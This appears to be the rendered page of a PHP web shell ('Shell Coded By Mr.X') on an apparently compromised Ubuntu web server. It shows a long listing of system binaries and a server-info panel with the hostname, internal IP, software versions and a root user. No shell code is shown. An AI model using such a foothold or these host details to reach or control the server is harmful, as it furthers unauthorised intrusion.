rmmod | File | 170.24 KB | 0755 |
|
rmt | File | 54.71 KB | 0755 |
|
rmt-tar | File | 54.71 KB | 0755 |
|
route | File | 68.27 KB | 0755 |
|
rsyslogd | File | 771.67 KB | 0755 |
|
rtacct | File | 28.31 KB | 0755 |
|
rtcwake | File | 34.38 KB | 0755 |
|
rtmon | File | 116.52 KB | 0755 |
|
rubycalls-bpfcc | File | 55 B | 0755 |
|
rubyflow-bpfcc | File | 54 B | 0755 |
|
rubygc-bpfcc | File | 52 B | 0755 |
|
rubyobjnew-bpfcc | File | 56 B | 0755 |
|
rubystat-bpfcc | File | 54 B | 0755 |
|
runlevel | File | 1.43 MB | 0755 |
|
runqlat-bpfcc | File | 9.3 KB | 0755 |
|
runqlat.bt | File | 788 B | 0755 |
|
runqlen-bpfcc | File | 8.05 KB | 0755 |
|
runqlen.bt | File | 1.01 KB | 0755 |
|
runqslower-bpfcc | File | 9.01 KB | 0755 |
|
runuser | File | 54.38 KB | 0755 |
|
service | File | 8.89 KB | 0755 |
|
setcap | File | 14.3 KB | 0755 |
|
setuids.bt | File | 1.76 KB | 0755 |
|
setvesablank | File | 14.37 KB | 0755 |
|
setvtrgb | File | 14.43 KB | 0755 |
|
sfdisk | File | 106.38 KB | 0755 |
|
sgdisk | File | 178.48 KB | 0755 |
|
shadowconfig | File | 2.22 KB | 0755 |
|
shmsnoop-bpfcc | File | 7.8 KB | 0755 |
|
shutdown | File | 1.43 MB | 0755 |
|
slabratetop-bpfcc | File | 6.38 KB | 0755 |
|
slattach | File | 36.08 KB | 0755 |
|
sofdsnoop-bpfcc | File | 8.06 KB | 0755 |
|
softirqs-bpfcc | File | 5.59 KB | 0755 |
|
solisten-bpfcc | File | 5.96 KB | 0755 |
|
split-logfile | File | 2.36 KB | 0755 |
|
sshd | File | 899.82 KB | 0755 |
|
ssllatency.bt | File | 2.08 KB | 0755 |
|
sslsniff-bpfcc | File | 13.68 KB | 0755 |
|
sslsnoop.bt | File | 1.99 KB | 0755 |
|
stackcount-bpfcc | File | 16.26 KB | 0755 |
|
start-stop-daemon | File | 47.49 KB | 0755 |
|
statsnoop-bpfcc | File | 4.92 KB | 0755 |
|
statsnoop.bt | File | 1.26 KB | 0755 |
|
sudo_logsrvd | File | 248.5 KB | 0755 |
|
sudo_sendlog | File | 131.67 KB | 0755 |
|
sulogin | File | 42.38 KB | 0755 |
|
swapin.bt | File | 600 B | 0755 |
|
swaplabel | File | 18.38 KB | 0755 |
|
swapoff | File | 22.38 KB | 0755 |
|
swapon | File | 42.38 KB | 0755 |
|
switch_root | File | 22.38 KB | 0755 |
|
syncsnoop-bpfcc | File | 1.27 KB | 0755 |
|
syncsnoop.bt | File | 839 B | 0755 |
|
syscount-bpfcc | File | 8.57 KB | 0755 |
|
syscount.bt | File | 872 B | 0755 |
|
sysctl | File | 30.38 KB | 0755 |
|
tarcat | File | 936 B | 0755 |
|
tc | File | 630.08 KB | 0755 |
|
tclcalls-bpfcc | File | 54 B | 0755 |
|
tclflow-bpfcc | File | 53 B | 0755 |
|
tclobjnew-bpfcc | File | 55 B | 0755 |
|
tclstat-bpfcc | File | 53 B | 0755 |
|
tcpaccept-bpfcc | File | 9 KB | 0755 |
|
tcpaccept.bt | File | 1.71 KB | 0755 |
|
tcpcong-bpfcc | File | 20.11 KB | 0755 |
|
tcpconnect-bpfcc | File | 18.46 KB | 0755 |
|
tcpconnect.bt | File | 1.58 KB | 0755 |
|
tcpconnlat-bpfcc | File | 9.07 KB | 0755 |
|
tcpdrop-bpfcc | File | 7.44 KB | 0755 |
|
tcpdrop.bt | File | 2.41 KB | 0755 |
|
tcplife-bpfcc | File | 16.55 KB | 0755 |
|
tcplife.bt | File | 2.72 KB | 0755 |
|
tcpretrans-bpfcc | File | 13.77 KB | 0755 |
|
tcpretrans.bt | File | 2.07 KB | 0755 |
|
tcprtt-bpfcc | File | 8.7 KB | 0755 |
|
tcpstates-bpfcc | File | 13.73 KB | 0755 |
|
tcpsubnet-bpfcc | File | 7.63 KB | 0755 |
|
tcpsynbl-bpfcc | File | 2.12 KB | 0755 |
|
tcpsynbl.bt | File | 962 B | 0755 |
|
tcptop-bpfcc | File | 12.64 KB | 0755 |
|
tcptracer-bpfcc | File | 17.71 KB | 0755 |
|
telinit | File | 1.43 MB | 0755 |
|
thin_check | File | 1.36 MB | 0755 |
|
thin_delta | File | 1.36 MB | 0755 |
|
thin_dump | File | 1.36 MB | 0755 |
|
thin_ls | File | 1.36 MB | 0755 |
|
thin_metadata_size | File | 1.36 MB | 0755 |
|
thin_repair | File | 1.36 MB | 0755 |
|
thin_restore | File | 1.36 MB | 0755 |
|
thin_rmap | File | 1.36 MB | 0755 |
|
thin_trim | File | 1.36 MB | 0755 |
|
threadsnoop-bpfcc | File | 1.81 KB | 0755 |
|
threadsnoop.bt | File | 712 B | 0755 |
|
tipc | File | 90.52 KB | 0755 |
|
tplist-bpfcc | File | 4.06 KB | 0755 |
|
trace-bpfcc | File | 42.86 KB | 0755 |
|
ttysnoop-bpfcc | File | 7.51 KB | 0755 |
|
tune2fs | File | 110.56 KB | 0755 |
|
ucalls | File | 11.69 KB | 0755 |
|
uflow | File | 7.92 KB | 0755 |
|
ufw | File | 4.84 KB | 0755 |
|
ugc | File | 7.64 KB | 0755 |
|
umount.udisks2 | File | 14.3 KB | 0755 |
|
undump.bt | File | 789 B | 0755 |
|
unix_chkpwd | File | 30.31 KB | 2755 |
|
unix_update | File | 34.31 KB | 0755 |
|
uobjnew | File | 6.04 KB | 0755 |
|
update-ca-certificates | File | 5.32 KB | 0755 |
|
update-catalog | File | 9.17 KB | 0755 |
|
update-fonts-alias | File | 5.71 KB | 0755 |
|
update-fonts-dir | File | 3.98 KB | 0755 |
|
update-fonts-scale | File | 6.1 KB | 0755 |
|
update-grub | File | 64 B | 0755 |
|
update-grub-gfxpayload | File | 301 B | 0755 |
|
update-grub2 | File | 64 B | 0755 |
|
update-gsfontmap | File | 390 B | 0755 |
|
update-ieee-data | File | 3.41 KB | 0755 |
|
update-info-dir | File | 1.66 KB | 0755 |
|
update-initramfs | File | 6.75 KB | 0755 |
|
update-locale | File | 2.99 KB | 0755 |
|
update-mime | File | 9.39 KB | 0755 |
|
update-passwd | File | 34.56 KB | 0755 |
|
update-pciids | File | 1.74 KB | 0755 |
|
update-rc.d | File | 17.72 KB | 0755 |
|
update-secureboot-policy | File | 7.43 KB | 0755 |
|
update-shells | File | 3.89 KB | 0755 |
|
update-xmlcatalog | File | 16.88 KB | 0755 |
|
upgrade-from-grub-legacy | File | 1.56 KB | 0755 |
|
usb_modeswitch | File | 59.66 KB | 0755 |
|
usb_modeswitch_dispatcher | File | 26.78 KB | 0755 |
|
useradd | File | 139.88 KB | 0755 |
|
userdel | File | 91.01 KB | 0755 |
|
usermod | File | 127.65 KB | 0755 |
|
ustat | File | 12.12 KB | 0755 |
|
uthreads | File | 4 KB | 0755 |
|
uuidd | File | 30.88 KB | 0755 |
|
validlocale | File | 1.73 KB | 0755 |
|
vcstime | File | 14.3 KB | 0755 |
|
vdpa | File | 34.56 KB | 0755 |
|
veritysetup | File | 43.94 KB | 0755 |
|
vfscount-bpfcc | File | 1.36 KB | 0755 |
|
vfscount.bt | File | 515 B | 0755 |
|
vfsstat-bpfcc | File | 4.06 KB | 0755 |
|
vfsstat.bt | File | 721 B | 0755 |
|
vgcfgbackup | File | 3.01 MB | 0755 |
|
vgcfgrestore | File | 3.01 MB | 0755 |
|
vgchange | File | 3.01 MB | 0755 |
|
vgck | File | 3.01 MB | 0755 |
|
vgconvert | File | 3.01 MB | 0755 |
|
vgcreate | File | 3.01 MB | 0755 |
|
vgdisplay | File | 3.01 MB | 0755 |
|
vgexport | File | 3.01 MB | 0755 |
|
vgextend | File | 3.01 MB | 0755 |
|
vgimport | File | 3.01 MB | 0755 |
|
vgimportclone | File | 3.01 MB | 0755 |
|
vgmerge | File | 3.01 MB | 0755 |
|
vgmknodes | File | 3.01 MB | 0755 |
|
vgreduce | File | 3.01 MB | 0755 |
|
vgremove | File | 3.01 MB | 0755 |
|
vgrename | File | 3.01 MB | 0755 |
|
vgs | File | 3.01 MB | 0755 |
|
vgscan | File | 3.01 MB | 0755 |
|
vgsplit | File | 3.01 MB | 0755 |
|
vigr | File | 60.69 KB | 0755 |
|
vipw | File | 60.69 KB | 0755 |
|
virtiostat-bpfcc | File | 8.69 KB | 0755 |
|
visudo | File | 248.71 KB | 0755 |
|
vpddecode | File | 14.58 KB | 0755 |
|
wakeuptime-bpfcc | File | 8.1 KB | 0755 |
|
wipefs | File | 38.38 KB | 0755 |
|
writeback.bt | File | 1.66 KB | 0755 |
|
xfs_admin | File | 2.12 KB | 0755 |
|
xfs_bmap | File | 695 B | 0755 |
|
xfs_copy | File | 90.44 KB | 0755 |
|
xfs_db | File | 688.56 KB | 0755 |
|
xfs_estimate | File | 14.16 KB | 0755 |
|
xfs_freeze | File | 800 B | 0755 |
|
xfs_fsr | File | 42.18 KB | 0755 |
|
xfs_growfs | File | 38.23 KB | 0755 |
|
xfs_info | File | 1.26 KB | 0755 |
|
xfs_io | File | 203.65 KB | 0755 |
|
xfs_logprint | File | 78.27 KB | 0755 |
|
xfs_mdrestore | File | 34.23 KB | 0755 |
|
xfs_metadump | File | 816 B | 0755 |
|
xfs_mkfile | File | 1.02 KB | 0755 |
|
xfs_ncheck | File | 685 B | 0755 |
|
xfs_quota | File | 90.16 KB | 0755 |
|
xfs_repair | File | 643.32 KB | 0755 |
|
xfs_rtcp | File | 18.15 KB | 0755 |
|
xfs_scrub | File | 106.27 KB | 0755 |
|
xfs_scrub_all | File | 7.66 KB | 0755 |
|
xfs_spaceman | File | 42.3 KB | 0755 |
|
xfsdist-bpfcc | File | 4.61 KB | 0755 |
|
xfsdist.bt | File | 972 B | 0755 |
|
xfsslower-bpfcc | File | 7.78 KB | 0755 |
|
xtables-legacy-multi | File | 92.95 KB | 0755 |
|
xtables-monitor | File | 219.16 KB | 0755 |
|
xtables-nft-multi | File | 219.16 KB | 0755 |
|
zerofree | File | 14.15 KB | 0755 |
|
zfsdist-bpfcc | File | 5.3 KB | 0755 |
|
zfsslower-bpfcc | File | 8.45 KB | 0755 |
|
zic | File | 66.39 KB | 0755 |
|
zramctl | File | 54.52 KB | 0755 |
|
Server Info
- Hostname: milna-web
- IP Address: 172.31.26.98
- PHP Version: 7.4.33
- Server Software: Apache/2.4.58 (Ubuntu)
- HDD Total Space: 18.33 GB
- HDD Free Space: 2.49 GB
- Total Domains in Server: 2
- System: Linux milna-web 6.8.0-1018-aws #20-Ubuntu SMP Thu Oct 10 18:14:42 UTC 2024 x86_64
System Info
User Info
- Username: root
- User ID: 0
- Group ID: 0
Copyright reserved © 2025 xtooler.online Shell Coded By Mr.X
01
2018